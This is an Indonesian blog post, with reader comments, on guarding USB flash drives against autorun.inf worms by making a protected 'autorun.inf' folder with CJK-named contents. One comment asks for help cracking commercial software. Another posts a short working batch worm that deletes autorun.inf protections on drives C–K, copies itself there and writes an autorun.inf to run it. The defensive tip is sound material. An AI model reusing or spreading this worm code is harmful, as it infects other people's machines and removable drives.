Pindah alamat:
Lebih baik mencegah daripada mengobati… Itulah kata yg cocok buat menangani virus lokal yg banyak beredar saat ini. Media flashdisk yg sering kita gunakan untuk mentransfer & menyimpan data ternyata sering ditumpangi pembuat virus untuk menyebarkan virusnya … Salah satu contohnya adalah virus yg memanfaatkan file autorun.inf untuk menyebarkan virus. Dengan adanya file autorun.inf yg dicopykan ke root flashdisk kita, virus dapat dijalankan begitu kita melakukan double klik icon flashdisk di My Computer. Jikalau PC sudah terinfeksi, bisa dibayangkan akibat ulah dari virus lokal yg suka blok ini & itu melalui registry windows.
Tips berikut mungkin dapat mencegah supaya flashdisk tidak menjadi media penyebaran virus yg memanfaatkan file autorun.inf
- Buatlah sebuah folder di dalam flashdisk, beri nama folder tersebut dgn nama autorun.inf jikalau muncul pesan error seperti gambar dibawah berarti flashdisk Anda kemungkinan sudah terinfeksi virus, karena sudah terdapat file dgn nama autorun.inf didalam flasdisk.

folder dgn nama autorun.inf berhasil dibuat
- Didalam folder autorun.inf yg dibuat, buat lagi sebuah folder & sebuah text document, rename folder & text document tersebut dgn menggunakan huruf CJK (chinese, japan, korea). Untuk memilih huruf CJK yg kita inginkan buka character map dari start – all programs – accesories – system tools, pilih font arial unicode. atau copy paste text berikut 遱道遾邂邅

foder & text document yg telah direname dgn huruf CJK
- Jikalau setelah direname, nama file & folder hanya berbentuk kotak-kotak sperti gambar diatas, kemungkinan, komputer belum diinstal fonts yg mendukung. Abaikan saja hal tersebut…
- Langkah terakhir adalah memberikan attribut hidden, read only dan system (+h +r +s) kepada folder autorun.inf yg kita buat, klik start – run – cmd, pindah ke drive letter flashdisk dgn mengetikkan drive letter flashdisk kita pada jendela cmd (drive letter flashdisk dapat dilihat dgn membuka my computer). Lihat gambar dibawah …

contoh drive letter flashdisk = m
Mengapa dgn tips ini flashdisk akan terproteksi? Pertama, menghapus file berbeda dengan menghapus folder. Kedua, windows tidak mengijinkan pembuatan nama file+extensi yg sama dgn folder. Ketiga didalam folder autorun.inf terdapat lagi folder dan file sehingga akan mempersulit virus. Keempat penggunaan huruf CJK dapat mempersulit virus menghapus file atau folder karena virus yg ditulis dgn vbscricpt tidak mendukung character CJK
Tips diatas hanya akan memproteksi flasdisk agar tidak menjadi media penyebaran virus lebih jauh, jikalau flashdisk dicolok ke komputer yg ada virusnya, kemungkinan file didalam flashdisk masih akan tetap terinfeksi. Namun akan mencegah virus membuat file autorun.inf sehingga jikalau flashdisk tersebut dipindah ke komputer lain, virus tidak akan berjalan secara otomatis …
Semoga bermanfaat …

Oktober 14, 2008 pukul 7:22 am
ada satu trick lagi, caranya bikin folder autorun.inf kosong…..
oh ya Bos, minta bantuan tuk nge crack “Uniquecontentpro” dong . dsn harus bikin JMP dmn ? biasa pake OllY… help yah… anyway jawabannya di posting atau dikirim ke emaila juga boleh
Oktober 14, 2008 pukul 8:47 am
he.he.he, sptnya sama deh triknya… Wah kalo nge’crack sih, sy jg msh blajar, mending cari aja software sejenis tp yg license nya free alias freeware
Oktober 16, 2008 pukul 11:09 am
wah om di suruh ngecrack tuh
minta bayaran kagak
eheheheh
makin byk aja tulisannya
aku juga mau buat neh
"he.he.he... mendingan pake yg gratisan aja yah, ngurangin dosa... Gw aja masih pemula banget. Kalo bayaran sih, silahkan baca di http://khiang.wordpress.com/penting/Oktober 24, 2008 pukul 2:01 pm
sip makin kenceng aja neh pesenen
udah waktunya pasang tarif neh
heheheh
Desember 2, 2008 pukul 11:42 am
nice trick. tapi kalau aku pribadi lebih memilih untk mematikan fungsi auto running CD dan Storage media. jd bisa deh liat virus
btw itu cara cuma utk yang expert. kalau yang newbe yah bakal bisa kena juga virus. karena ada sifat yang kadang kita tak bisa elakkan, yaitu “penasaran” dan “rasa ingin tahu”. coba aja buat folder “cewek telanjang” pasti bakal lsg di klik sama orang. padahal bsia jadi itu adalah runnig file buat virus. Nah kalau masalahnya spt itu biasa saya setting show hidden file (bak yang system maupun yang bukan). jd bsia bedakan mana virus (file eksekusi) ataupun sekedar data. btw nice job bro.
Juni 8, 2009 pukul 7:56 pm
Pernah liat script batch spt ini :
@echo off
set auto=%random%
for %%a in (C D E F G H I J K) do if exist %%a:\ (
rd /s /q %%a:\autorun.inf
del /a /f /q %%a:\autorun.inf
copy “%0″ %%a:\%auto%.bat /y
echo [autorun]>%%a:\autorun.inf
echo shellexecute=cmd.exe /c %auto%.bat>>%%a:\autorun.inf)
Juni 9, 2009 pukul 11:38 pm
Salam kenal dl y bro. Kira2 si begitu.
Kalo file batch td didrop oleh virus vbs, lalu dijalankan dgn vbhide, apa proteksi yg anda lakukan berguna?